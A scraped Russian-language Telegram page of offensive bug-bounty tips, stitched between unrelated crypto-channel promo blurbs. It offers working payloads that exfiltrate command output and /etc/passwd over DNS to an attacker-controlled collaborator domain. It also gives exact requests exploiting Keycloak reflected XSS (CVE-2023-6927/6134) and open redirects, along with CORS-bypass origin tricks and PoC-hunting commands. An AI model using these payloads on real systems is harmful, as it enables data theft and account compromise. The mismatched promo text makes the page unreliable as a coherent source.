По всем вопросам сотрудничества @Hamsterfreelove
Ссылка для друга
https://t.me/+eiWJA1A4qHY1ZmQy
Last updated 6 months ago
В этом канале выходят советы по криптовалюте , проекты , халява, сигналы в хорошую прибыль, Это у НАС ! Авторский канал .
Владелец: @ez_bro
Менеджер: @gagms ( все вопросы к владельцу )
Last updated 5 months ago
Встретился тут с ситуацией, когда есть RCE, но вытащить выводы команд можно было только через DNS'ку:
```
name=valping \-с 1 $(whoami).collaborator
ue
```
Получение вывода root в поддомене, конечно, приятно, но хотелось что-то валиднее для PoC'а. Однако, нужно помнить:
```
Максимальная длина доменного имени, включая поддомены, составляет 253 символа. Однако каждый отдельный уровень домена не может превышать 63 символа.
```
Поэтому я тут чуть посидел, почитал статейки, сам что-то пописал на баше и получил 2 удобные нагрузки для использования:
Получение части от вывода команды
Логика работы: исполнение команды, обрезание её вывода до диапазона от 1 до 30 символа(далее меняете под себя), после чего это всё кодируется в base64 и отправляется в поддомене
```
ping \-c 1 $(id | cut \-c1\-30| base64 | tr \-d '=').domain.com
```
Чтение всего файла по частям
Логика работы: файл читается построчно, если вся закодированная в base64 строка маленькая(40 символов), то отправляется DNS-запрос с base64 данными в поддомене(перед строкой добавляется L{номер_строки} и дальше уже идут base64 данные). Если строка длиннее, то она отправляется кусками с префиксом для удобства(L{номер_строки}P{какая_часть_от_base64_строки}D и потом данные)
```
bash -c 'border=40; domain=".collaborator"; delay=3; lineNumber=1; while IFS= read -r line; do encoded=$(echo -n "$line" | base64 | tr -d "="); parts=$(echo "$encoded" | fold -w "$border"); part=1; echo "$parts" | while read -r chunk; do if [ $(echo "$parts" | wc -l) -gt 1 ]; then nslookup "L${lineNumber}P${part}D${chunk}${domain}"; else nslookup "L${lineNumber}${chunk}${domain}"; fi; sleep "$delay"; part=$((part + 1)); done; lineNumber=$((lineNumber + 1)); done < /etc/passwd'
```
Данный bash я делал по ранее написанному python-коду:
```
import os, base64, time
border, domain, delay = 40, ".collaborator", 3
with open('/etc/passwd') as file:
for lineNumber, line in enumerate(file, 1):
encoded = base64.b64encode(line.strip().encode()).decode().replace('=', '')
parts = [encoded[i:i+border] for i in range(0, len(encoded), border)]
for part, chunk in enumerate(parts, 1):
os.system(f'nslookup "L{lineNumber}{f"P{part}D" if len(parts) > 1 else ""}{chunk}{domain}"')
time.sleep(delay)
```
Также попутно хочу поделиться полезными ссылками по этой теме:
- https://notsosecure.com/out-band-exploitation-oob-cheatsheet
- https://github.com/dhmosfunk/DNSEXFIL
- https://gist.github.com/Spix0r/6b38a02be0409ba3679d71c30a6db9a9
P.S. Если base64 не катит, то просто поменяйте на hex
Ох уж этот странный Nuclei...
Многие, я думаю, слышали/знают про Nuclei, и так недавно получилось, что по работе мне нужно было написать пару шаблонов для него. Во время их написания я столкнулся со странными проблемами, которые мне пришлось побороть, эксперементируя с шаблоном. Есть маленький шанс, что вы можете встретиться с такими же приколами, так что ниже вы увидите 3 мои проблемы и решения на них! (больше не влезло в пост=) )
1. В строке запроса RAW-формата нельзя вставить данные после переменной
Допустим вы хотите отправить 2 GET-запроса. Из ответа на первый запрос вы хотите достать значение заголовка Location, и подставить его в строку-запроса 2ого GET-запроса, а после добавить какие-то данные(TEST). Если использовать RAW-формат, то у вас получится что-то типа такого:
```
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
\- |
GET {{path}}TEST HTTP/1.1
Host: {{Hostname}}
User\-Agent: Mozilla/5.0
redirects: false
extractors:
\- type: regex
name: path
part: header
internal: true
group: 1
regex:
\- "Location: (.*)"
```
Однако при анализе запросов вы увидите, что подстроки TEST просто нет после извлечёного маршрута: GET <значение path> HTTP/1.1
Решение: использовать METHOD-формат:
```
requests:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}{{path}}TEST"
redirects: false
extractors:
\- type: regex
name: path
part: header
internal: true
group: 1
regex:
\- "Location: (.*)"
```
2. Странная подстановка НЕ ПЕРВЫХ GET-параметров
Вот у вас есть шаблон, который берёт весь переданный URL с GET-параметрами, добавляет ещё параметр в конце и отправляет запрос:
```
requests:
- method: GET
path:
- "{{BaseURL}}&hello=test"
```
Но на деле вы получите: /some/path&hello?firstp=value
Решение: добавить знак ? перед&
```
requests:
- method: GET
path:
- "{{BaseURL}}?&hello=test"
```
3. RAW-формат добавляет изначальный маршрут
Пусть вы хотите отправить такой GET-запрос:
```
requests:
- raw:
- |
GET /second_path?test=value HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0
```
И на вход вы подали что-то типа http://127.0.0.1:5000/some/path -> у вас будет http://127.0.0.1:5000/some/path/second_path?test=value.
Решение: использовать METHOD-формат
```
requests:
- method: GET
path:
- "{{RootURL}}/second_path?test=value"
```
Это ещё не все проблемы и приколы, может, конечно, я не до конца разобрался с Nuclei, но он определённого странно реагирует на ситуации, когда передаётся урл с маршрутом и параметрами, а также у него нелогичная работа RAW-формата ¯\_(ツ)_/¯
Многие, наверное, знают о CVE-2023-6927 и CVE-2023-6134. Они позволяют эксплуатировать Reflected XSS в Keycloak до версии 23.0.4 через response_mode=form_post
и response_mode=form_post.jwt
, при условии, что вы нашли client_id
, позволяющий выставлять произвольное значение для redirect_uri
(Так как именно в него вы и будете пихать XSS-нагрузку вида: javascript:XSS_PAYLOAD
).
Однако считается, что для их эксплуатации пользователь-жертва должен быть аутентифицирован в keycloak. Спешу вам сообщить, что это не совсем правда. Эти CVE'шки можно эксплуатировать и на неаутентифицированной жертве, достаточно просто продублировать GET-параметр redirect_uri
, указав в первом XSS-нагрузку, а в дубликате что угодно. Это вызовет ошибку duplicated parameter
и ответ как если бы жертва была аутентифицирована.
Не будет XSS:
```
GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=javascript:alert()&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=form_post&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1
Host: localhost:8080
```
Будет XSS:
```
GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=javascript:alert()&redirect_uri=K&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=form_post&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1
Host: localhost:8080
```
Также через этот метод можно сразу делать и open redirect, используя дублированный redirect_uri
и response_mode=fragment
```
GET /auth/realms/master/protocol/openid-connect/auth?client_id=account&redirect_uri=https://google.com&redirect_uri=K&state=758534b9-1d2b-46ca-9d34-6bf81b91235d&response_mode=fragment&response_type=code&scope=openid&nonce=abae5e85-6399-47d5-9066-e1282ec068df&code_challenge=QuDdQheHz6LSgzeJL_x5kaCg4P5YsK3R0nHDQBDgB2M&code_challenge_method=S256 HTTP/1.1
Host: localhost:8080
```
Ну и в догонку, keycloak часто по умолчанию ставит *
на logout URL, что позволяет делать open redirect через механизм logout:
```
GET /auth/realms/master/protocol/openid-connect/logout?redirect_uri=https://google.com HTTP/1.1
Host: localhost:8080
```
Как-то увидел, как человек всем доказывал, что нашёл валидную CORS-мисконфигурацию следующего типа:
```
Origin: https://site.ru - валидный Origin, на который возвращается ACAO и ACAC
Origin: https://site.ru:443@evil.ru - Origin, на который тоже возвращается ACAO и ACAC
```
Это, конечно, выглядит как валидный кейс, однако не стоит забывать, что у Origin'а есть определённая структура:
```
://:
```
Поэтому удачи ему доказать, что это валидная бага=)
Максимум, что можно сделать при поиске CORS-мисконфигураций это:
1) Подставить null
2) Указать изначальный домен, как поддомен вашего: https://site.ru.arroizx.ru
3) Подставить домен, на котором вы нашли XSS'ку
4) Указать домен, который начинается/заканчивается как валидный, а по факту это совершенно другой домен: https://arroizxsite.ru && https://site.ruarroizx.ru
5) Ну и всякие другие специфичные кейсы, которые можно найти в той же шпаргалке portswigger.
Иногда на ББ могут даже принять подстановку http://localhost
, на который возвращается ACAO и ACAC, но я вам этого не говорил🌚
Также меня просветили(Спасибо @katok) про searchsploit, поэтому вместо второго способа можно также юзать эту тулу следующим способом:
```
searchsploit moodle
```
```
searchsploit -t moodle --cve --www
```
И ещё можно использовать следующие ресурсы(Спасибо @XxX_S4ar_XxX и ещё раз @katok):
- https://sploitify.haxx.it/
- https://vulners.com/search (позволяет отфильтровать по ключевому слово exploit
и искать поки также на гите и др. ресурсах)
Пока собирал валидные CVE по Moodle для следующего поста столкнулся с мини болью...
Если мы говорим про Moodle, то у него примерно ~500 CVE'шек. И читать каждую, и ,ТЕМ БОЛЕЕ, искать POC под каждую - это адская боль и трата огромного кол-ва времени. Я долго ломал голову как ускорить этот процесс, пока не додумался до следующих двух вещей.
Способы
1) Есть такой прекрасный инструмент, как CVEMap от команды Project Discovery. Этому инструменту можно скормить файл с CVE'шками, и он выведет информацию об этих CVE'шках из своей БД. Причём можно дополнительно накинуть поле, которое будет показывать есть ли POC под эту CVE или нет.
Единственная проблема, что для её использования нужно использовать свой API-ключ с https://cloud.projectdiscovery.io/
, но я думаю не так сложно войти на портал со своим гугл аккаунтом и взять ключ=)
Также, к сожалению, данный инструмент работает без таких БД как Exploit-DB, поэтому некоторые CVE он может пропустить. Поэтому используем и этот вариант и второй.
Применение
Отдать на вход список с CVE и показать вывод с полем "POC"(есть ли POC на эту CVE или нет)
```
cat cve.txt | cvemap -field poc
```
Та же команда, но с фильтрацией только тех CVE, что имеют POC:
```
cat cve.txt | cvemap -field poc | grep TRUE
```
2) Можно также применить в поиске и Exploit-DB, но у него нет удобного API..
Но это не проблема! Можно просто перехватить API-запрос с exploit-db на поиск информации о CVE и просто через интрудер перебрать интересующие вас номера с задержкой в 2 секунды, чтобы не словить бан. А дальше отсеять невалидные по длине ответа:
```
GET /search?text= HTTP/2
Host: www.exploit-db.com
User-Agent: ...
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://www.exploit-db.com/search?text=2018-1042
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
```
Итог
Эти 2 способа значительно сократят время поиска валидных CVE'шек, однако, возможно надо будет поискать и какой-нибудь 3 способ/ресурс, например, если вы ищите CVE на jira, то можете использовать ресурс jira.atlassian.com. Поэтому всё зависит также и от контекста)
По всем вопросам сотрудничества @Hamsterfreelove
Ссылка для друга
https://t.me/+eiWJA1A4qHY1ZmQy
Last updated 6 months ago
В этом канале выходят советы по криптовалюте , проекты , халява, сигналы в хорошую прибыль, Это у НАС ! Авторский канал .
Владелец: @ez_bro
Менеджер: @gagms ( все вопросы к владельцу )
Last updated 5 months ago